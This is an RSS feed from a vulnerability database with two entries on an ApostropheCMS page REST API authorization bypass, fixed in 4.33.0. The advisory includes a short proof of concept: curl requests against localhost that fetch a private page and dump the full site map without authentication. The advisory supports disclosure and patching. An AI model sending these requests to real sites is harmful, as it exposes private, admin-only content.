<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Wed, 21 Oct 2026 13:44:18 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-113670</title>
      <link>https://db.gcve.eu/vuln/fkie_cve-2026-113670</link>
      <description>&lt;p&gt;ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the core page REST API reads full page documents with .permission(false) in getOne and in the all=1 tree dump, bypassing page-type viewRole, visibility: private, and visibility: loginRequired checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by _id/slug. This issue is fixed in version 4.33.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the core page REST API reads full page documents with .permission(false) in getOne and in the all=1 tree dump, bypassing page-type viewRole, visibility: private, and visibility: loginRequired checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by _id/slug. This issue is fixed in version 4.33.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/fkie_cve-2026-113670</guid>
    </item>
    <item>
      <title>GHSA-2j32-q6rx-h844 — ApostropheCMS: Page REST API authorization bypass</title>
      <link>https://db.gcve.eu/vuln/ghsa-2j32-q6rx-h844</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: apostrophe&lt;/p&gt;
&lt;p&gt;**Summary**
The core page REST API reads full page documents with `.permission(false)` in `getOne` and in the `all=1` tree dump, bypassing page-type `viewRole`, `visibility: private`, and `visibility: loginRequired` checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by `_id`/slug.&lt;/p&gt;
&lt;p&gt;**Details**
`packages/apostrophe/modules/@apostrophecms/page/index.js`:
- `getOne` (L456–465): `await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)` — no `viewRole` threshold, no `visibility` filtering.
- `all` handler (L318–395): `getRestQuery(req).permission(false)` (L384–385) walks every page type and returns the projection including `visibility`.
- `publicApiCheckAsync` (L3044) only checks that `publicApiProjection` exists — it performs no authorization.
- Correct control behaves differently: `piece-type/index.js:getOne` (L319–327) uses `getRestQuery(req)` without `.permission(false)` and enforces `viewRole`.&lt;/p&gt;
&lt;p&gt;**PoC**
```
# Anonymous (no session) — private, admin-only page:
curl &amp;#34;http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published&amp;#34;
# → 200  {&amp;#34;_id&amp;#34;:&amp;#34;...:en:published&amp;#34;,&amp;#34;title&amp;#34;:&amp;#34;Secret Private Page&amp;#34;,&amp;#34;slug&amp;#34;:&amp;#34;/secret-page&amp;#34;,
#         &amp;#34;type&amp;#34;:&amp;#34;private-type&amp;#34;,&amp;#34;visibility&amp;#34;:&amp;#34;private&amp;#34;,&amp;#34;secretData&amp;#34;:&amp;#34;TOP-SECRET-VALUE-abc123&amp;#34;}&lt;/p&gt;
&lt;p&gt;# Anonymous full site-map dump (includes private + loginRequired pages):
curl &amp;#34;http://localhost:3100/api/v1/@apostrophecms/page?all=1&amp;#34;        # →…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: apostrophe&lt;/p&gt;
&lt;p&gt;**Summary**
The core page REST API reads full page documents with `.permission(false)` in `getOne` and in the `all=1` tree dump, bypassing page-type `viewRole`, `visibility: private`, and `visibility: loginRequired` checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by `_id`/slug.&lt;/p&gt;
&lt;p&gt;**Details**
`packages/apostrophe/modules/@apostrophecms/page/index.js`:
- `getOne` (L456–465): `await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)` — no `viewRole` threshold, no `visibility` filtering.
- `all` handler (L318–395): `getRestQuery(req).permission(false)` (L384–385) walks every page type and returns the projection including `visibility`.
- `publicApiCheckAsync` (L3044) only checks that `publicApiProjection` exists — it performs no authorization.
- Correct control behaves differently: `piece-type/index.js:getOne` (L319–327) uses `getRestQuery(req)` without `.permission(false)` and enforces `viewRole`.&lt;/p&gt;
&lt;p&gt;**PoC**
```
# Anonymous (no session) — private, admin-only page:
curl &amp;#34;http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published&amp;#34;
# → 200  {&amp;#34;_id&amp;#34;:&amp;#34;...:en:published&amp;#34;,&amp;#34;title&amp;#34;:&amp;#34;Secret Private Page&amp;#34;,&amp;#34;slug&amp;#34;:&amp;#34;/secret-page&amp;#34;,
#         &amp;#34;type&amp;#34;:&amp;#34;private-type&amp;#34;,&amp;#34;visibility&amp;#34;:&amp;#34;private&amp;#34;,&amp;#34;secretData&amp;#34;:&amp;#34;TOP-SECRET-VALUE-abc123&amp;#34;}&lt;/p&gt;
&lt;p&gt;# Anonymous full site-map dump (includes private + loginRequired pages):
curl &amp;#34;http://localhost:3100/api/v1/@apostrophecms/page?all=1&amp;#34;        # →…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-2j32-q6rx-h844</guid>
    </item>
  </channel>
</rss>
